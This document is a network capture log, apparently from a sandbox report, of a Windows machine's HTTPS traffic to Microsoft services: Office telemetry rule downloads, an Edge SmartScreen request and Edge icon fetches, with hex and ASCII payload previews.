2024-10-29 05:59:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-16849878b78z2wx67pvzz63kdg00000004ug000000000xb7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:29 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-16849878b78q9m8bqvwuva4svc00000004pg000000006k2u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49823	104.40.82.182	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiMzFBSWUweGN2Q1VQN2s5OG90dnpmdz09IiwgImhhc2giOiI2eS9iVHc5a1F3WT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 05:59:29 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 05:59:29 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 05:59:29 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: ca0e8e6b-b01e-00ab-6a67-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-15b8d89586ff5l62aha9080wv000000007cg000000009kap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-17c5cb586f672xmrz843mf85fn00000004zg000000002x8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-r197bdfb6b42rt68rzg9338g1g00000007ag000000007s6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:29 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-16849878b78zqkvcwgr6h55x9n00000005mg000000004kmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:29 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055929Z-16849878b78qf2gleqhwczd21s000000068g00000000cy4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49836	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 0f8f67e0-401e-0006-43c7-299f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-17c5cb586f672xmrz843mf85fn000000051000000000083t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49837	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b003c4e3-a01e-0061-6990-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-16849878b78qfbkc5yywmsbg0c00000005s000000000b32g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:30 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49839	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:30 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:30 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 452667f0-601e-0033-64a4-29312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055930Z-17c5cb586f6mhqqby1dwph2kzs00000001ag00000000dkrq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
